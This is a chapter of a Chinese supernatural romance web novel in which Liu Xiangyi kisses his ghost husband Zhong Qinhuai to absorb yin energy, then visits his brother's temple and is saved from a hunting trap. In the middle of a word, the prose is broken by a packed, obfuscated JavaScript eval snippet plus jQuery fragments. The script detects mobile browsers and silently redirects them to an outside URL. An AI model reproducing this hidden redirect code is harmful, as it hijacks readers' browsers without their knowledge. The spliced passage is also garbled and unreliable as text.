有了第一次的经验,第二次就比较熟门熟路了,柳相宜回到家洗漱完,走出客厅,隔着一条一米宽的过道,对面就是钟秦淮的主卧了。
他深吸一口气,推开主卧的房门一看,钟秦淮正靠坐在棺木里,手上捧着一本书在看。
太有活人感了!
以至于柳相宜瞬间有种恍惚,好似飙车和冥婚都只是一场梦,这小子压根就没死。
但头顶灯光洒下昏黄的光晕,把钟秦淮那张脸衬得更苍白了,无端生出一股鬼气森森。
柳相宜定了定神,走过去一看书名,竟是《薛平贵与王宝钏》。
他正诧异这小子居然会看这种书,钟秦淮似乎看穿了他的心思,抬头似笑非笑地对他说道:
“这种书怎么了?王宝钏苦守寒窑挖野菜,多么具有警示作用,就应该人手一本作为传家宝。”
柳相宜:“……”
上次来没留意,柳相宜这次发现钟秦淮的主卧里竟然有一整面墙的书柜,上面塞满了书,粗略地扫一眼:
《拒绝恋爱脑》
《这本书让你人间清醒》
《智者不入爱河》
又联想到买贡品时,那个超市老板娘说的八卦,柳相宜顿时明白了,这大概是钟秦淮外婆买回来的。
接着,他便看到钟秦淮望着他,别有深意地说道:“我觉得柳总也需要看看这些睡前读物。”
柳相宜:“?”
柳相宜觉得自己并不需要,毕竟恋爱脑这种东西他压根就没有。不过这些不需要跟钟秦淮解释,于是就微笑地只回了三个字:
“婉拒了。”
钟秦淮合上手里的书:“不喜欢看书也行,那我带柳总去个地方。”
柳相宜:“?”
钟秦淮抬手打了个响指,一股猛烈的阴风从窗外灌了进来,柳相宜被吹得眯了下眼睛。
等他再次睁开时,自己已经不在钟秦淮那间卧室了,而是在一个公园里,此时夜深人静,公园里寂静得很,只有路灯发出昏暗的柔光。
钟秦淮指了指不远处那片绿油油的草地:“我外婆说这个地方就是以前王宝钏挖野菜的那片山头。”
说着,又转过头来,意味深长地望着柳相宜:”恋爱脑都没有好下场的,柳总,要引以为戒。”
柳相宜:“??”
柳相宜被他今晚这些莫名其妙的话给逗笑了,他挑眉道:
“钟总的意思是我恋爱脑?不知道这个暴论钟总是从哪里得出来的?”
钟秦淮斜倚在身后的晚樱树上,微微抬起下巴,那双黑漆漆的瞳仁里隐隐透着一丝得意:
“柳总不就是因为暗恋我,所以才跟我冥婚的吗?”
柳相宜:“???”
他不假思索地反驳道:
“钟总这么自恋的吗?”
钟秦淮没说话,只在黑暗中飘出一声轻笑,带着十足的笃定。
柳相宜:“!”
他正要冒火,突然想起前天他和大哥打的那通电话,所以……
当时那小子就在附近?
柳相宜心虚了一秒。
他不知道钟秦淮会怎么想,但死对头喜欢自己这件事,有些人是会觉得膈应的。
现在好不容易跟这小子关系缓和了点,开始走上朋友的正轨,他是决计不愿意功亏一篑的,于是柳相宜微微一笑,带着十分的信誓旦旦:
“钟总误会了,我那只是安慰大哥随便说说而已,钟总大可放心,我对你绝对没有任何的非分之想!”
本以为这番只差指天发誓的澄清能让钟秦淮释怀,谁知说完这话,感觉钟秦淮脸色好像……更差了?
只听见他幽幽道:
“那柳总说说我怎么误会了?还有,柳总和我冥婚不是因为暗恋我那是因为什么?”
柳相宜:“……”
旁边立着一盏路灯,昏黄的光线下,钟秦淮的脸一半隐匿在黑暗中,一半被灯光照亮,显得阴晴不定。
那双眼睛黑漆漆,直勾勾,像生长在幽暗潮湿角落里的藤蔓,无声无息地缠绕在他身上。
并且,随着无声凝视的时间越长,柳相宜感觉那道视线仿佛藤蔓般,将自己一点点绞紧。
柳相宜被盯得头皮发麻。
救命!
在“因为想吸阴气”和“硬着头皮承认自己暗恋钟秦淮”之间,柳相宜果断选择了后者,他轻咳一声:
“好好好,我知道钟总今晚带我来这里的目的了!放心,我绝不是恋爱脑,就算是恋爱脑也绝不会缠着钟总不放的,钟总满意了吗?”
他心里还惦记着吸阴气的事儿,于是又道:“满意的话,可以回去了吗?今晚还要比,钟总不会忘了吧?”
柳相宜说完,就看到钟秦淮表情又微微变了,不知想到了什么,他嘴角又重新漾起一丝弧度:
“柳总这么着急回去跟我睡啊?都这样了,还不承认自己暗恋我吗?”
柳相宜:“……”
这自信和得意的语气是闹哪样?
虽然他承认是自己主动要求冥婚,又被他偷听到了那通电话,以及昨晚一起睡是容易让人误会,但……
他俩可是死对头啊死对头!
这小子还真就信了?
柳相宜深吸一口气,算了,口舌之争没意义,还是干正事要紧。
他看向钟秦淮,微笑中带着点咬牙切齿:“钟总,时间不早了,该回去睡了吧?”
注意到柳相宜的表情,钟秦淮歪头,话里带着几分玩味:
“柳总大概不知道,我们阴间的鬼,一向是白天睡觉晚上出来的。”
柳相宜走过去,站在离他三步之遥的距离,继续微笑,这回微笑里带着十足的挑衅意味:
“哦,所以钟总是不敢跟我睡一起了吗?那在胆量这件事上,钟总是准备输给我了是吧?”
钟秦淮轻笑一声:
“既然柳总要跟我比胆量……”
他也悠悠往前了一步:
“柳总叫我跟你睡一起,无非就是想趁我睡着了偷亲是吧?既然如此,那柳总有胆量当着我的面直接来吗?”
柳相宜:“!”
这小子又加码了!
但是……在钟秦淮睡了的时候做下心理建设,还能偷偷吸阴气。
可要他当着钟秦淮的面,直接就这么亲,那还是很惊悚的。
见柳相宜拧眉思索,钟秦淮又朝他逼近了一步,这回两人挨得极近,近到柳相宜能看清那双黑漆漆的瞳仁里,倒映着自己的倒影。
靠太近了!
柳相宜不自然地后退了一步。
紧接着,钟秦淮的笑声就响了起来,带着点戏谑:
“怎么,柳总不敢啊?”
柳相宜:“……”
钟秦淮轻轻挑眉一笑,把柳相宜方才对他说的话奉还回去:
“所以在胆量这件事上,柳总是要准备输……”
太挑衅了!
不等钟秦淮说完,柳相宜就拽住了他衣领,钟秦淮被迫微微倾身。
与此同时,柳相宜稍稍抬头,两人的唇就贴上了!
钟秦淮终于安静了。
世界也安静了。
柳相宜闭着眼睛,感受着丝丝缕缕的阴气沿着唇缝飘进来。
这么直接面对面地吸阴气好像没有想象中那么艰难。
阴气就跟夏日清晨的薄雾一般,带着些微的凉意,能驱散人的燥热。
太舒服了!
柳相宜贴着贴着,忽然后知后觉这小子……居然没有推开他?
柳相宜:“?”
这不科学。
怀抱着一丝好奇心,柳相宜悄悄睁开一只眼,入目就是钟秦淮垂下来的睫毛,纤长浓密,像黑蝶的翅膀。
钟秦淮微微垂下头,闭着眼睛一动不动,唯有睫毛微微轻颤。
似在隐忍着什么。
柳相宜:“……”
都讨厌成这样了还不推开他,这小子为了赢居然可以做到这种地步吗?
不过也是。
上次飙车的时候,为了不输给他,竟然连命都可以不要呢!
柳相宜脑子里乱七八糟地想着。
此时春末,公园里的晚樱开了一树的花,夜晚的凉风吹过,花瓣簌簌地落下,落了树底下两人一身。
直到一片花瓣飘扬旋转,被风吹落在了柳相宜仰头的眼睫上,花瓣上沾着春夜和晚风的凉意。
柳相宜的眼皮被冰了一下。
瞬间睁开眼。
也不知过了多久,应该吸够了。他往后退了一步,与钟秦淮拉开了距离。
感觉到贴着自己的唇离开后,钟秦淮缓缓睁开了眼。
静静地凝视着柳相宜。
几秒后,这才意义不明地笑道:
“怎么,柳总这就不行了?”
柳相宜:“!”
这小子为了赢,跟死对头这样唇贴在一起都不在乎的吗?
真是恐怖如斯!
又忍不住哼笑一声,道:
“看来钟总只是不谈恋爱而已,其他的倒是一点也不介意,这不就是那种不拒绝不主动不负责的渣男行为吗?”
他只是随口吐槽了几句,但是不知道哪里取悦到了钟秦淮,他侧过脸,轻笑出声,复又敛笑重新转过来,眉目间浮上一层得意之色:
“柳总就这么想跟我谈恋爱吗?”
柳相宜:“……”
呵,果然是渣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392252|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男。
本来还觉得瞒着他吸阴气有点愧疚,以后吸他阴气就没有道德压力了。反正这小子也是一个为了赢没有节操的家伙。
第二天,柳相宜就去清风观了,找他二哥问这阴气还要吸多久,吸多少,总得给他一个盼头吧?
柳宴池给了他一块玉佩,玉佩很小,被打磨成一片柳叶的形状,用一根黑色绳子串着。
柳相宜刚把这块玉佩戴上不久,奇妙的一幕发生了!原本通体莹白的玉佩竟然逐渐染成了鹅黄色。
柳宴池解释道:
“这块玉佩是被你体内的阳气侵染成黄色了,你多吸一口阴气,玉佩就会变白一点,等哪天完全变回白色,就意味着阴阳平衡了。”
解释完又安慰道:“别担心,你二哥我也超努力的!每天都在加紧炼丹!”
柳宴池说着拍了拍那个金黄色的丹炉,再次邀请柳相宜试药:
“再过一小时,二哥的九转金丹就要大功告成了!三弟你要不要留下来等吃了再走?”
柳相宜闻到了从丹炉里飘出来的一丝糊味,他婉拒了。
还是回去吸阴气吧。
回到雾山脚下时天色已晚,上山时,柳相宜忽然闻到了一丝香气。
是醉蝶兰!
这是一种少见的香料,柳相宜循着空气中浮动的香气走过去一看,一朵醉蝶兰就开在不远处的灌木丛里,在月光下皎洁如一只翩飞的蝴蝶。
走过去,蹲下.身,刚要伸手去摘,“刷”地一声,余光瞟到一个黑乎乎的东西朝自己砸来。
扭头一看,瞳孔骤然紧缩:
是个捕猎夹!
在月光下闪着森冷的寒光。
朝着他的方向盖过来,那一圈尖尖的铁皮眼看就要夹住他胳膊了,就在这千钧一发之际,一只手斜伸了过来。
挡在了他的胳膊之前,那只修长有力的手猛地抓住了捕猎夹。
柳相宜顺着那只手往上看,猝不及防地与一双漆黑的眸子对上了。
柳相宜:“?”
这小子怎么突然来了?
不等柳相宜琢磨,“滴”地一声细微声音响起,有什么东西落在了那束醉蝶兰的花瓣上。
柳相宜低头一看,是血!
又抬头一看,血珠是从钟秦淮抓着捕兽夹的手掌上渗出来的。
他蹭地一声站起身:
“我看看!”
说着想要抓过钟秦淮的那只手看看,钟秦淮避开了,将捕兽夹扔到一旁,转头说话的时候,戏谑地笑了:
“柳总刚才是叫了我的名字么?不然我好好的在阳台上吹风怎么突然强制闪现到这了?”
柳相宜:“……”
他刚才在心里默念了吗?
疑罪从无。
柳相宜理不直气也壮:“我没叫。”
钟秦淮幽幽道:“可我听见了……”
柳相宜:“……”
低头看了看钟秦淮手掌。
他手掌垂下,看不出伤势如何,只能隐约看见有血珠从手掌冒出,沿着纤长的手指一路滑下来,再从指尖处滴落下去。
他手指本就苍白,从手掌流下来的鲜血如同红线般,沿着他的五指一路缠绕下来,极致的白与红,有种惊心动魄的惨烈对比。
柳相宜拧眉,钟秦淮却跟没事人一样,散漫地抬起那个手掌看了看。
余光瞥见他的眉头仍旧紧蹙着,钟秦淮歪头,笑声里带着一丝玩味:
“柳总这么喜欢我啊?”
柳相宜:“……”
槽多无口。
柳相宜转身就走。
半小时后,别墅二楼阳台上。小乌鸦立在阳台栏杆上,金色的竖瞳即便在漆黑的夜色里,视力也极好。
能清晰地看到有一抹高挑清瘦的人影正朝别墅走来,手上还拎着一大袋子药。
小乌鸦哼了一声:“这个人类,以为阿淮跟他一样脆、脆弱吗?”
说完扭头看向钟秦淮的那只手。
钟秦淮正坐在阳台的小圆桌前喝蜂蜜水,手掌托起水杯时,方才还被捕兽夹的尖尖铁皮刺得血淋淋,如今已经完好如初。
完全看不出受过伤的迹象。
小乌鸦骄傲地昂起小脑袋:
“阿、阿淮可是极阴之体,是我们老钟家鬼气最强的,区区一点手伤,一眨眼就能自愈啦!”
瞧见柳相宜进了别墅大门,钟秦淮放下水杯,那只手掌轻轻一晃。
几道黑气萦绕在手掌上,片刻消散后,手掌又还原成了受伤状态。
整只手鲜血淋漓,手掌上一处皮肉外翻,隐约可见一道深痕。
小乌鸦歪了歪脑袋,疑惑道:
“手怎么又变、变回来了?”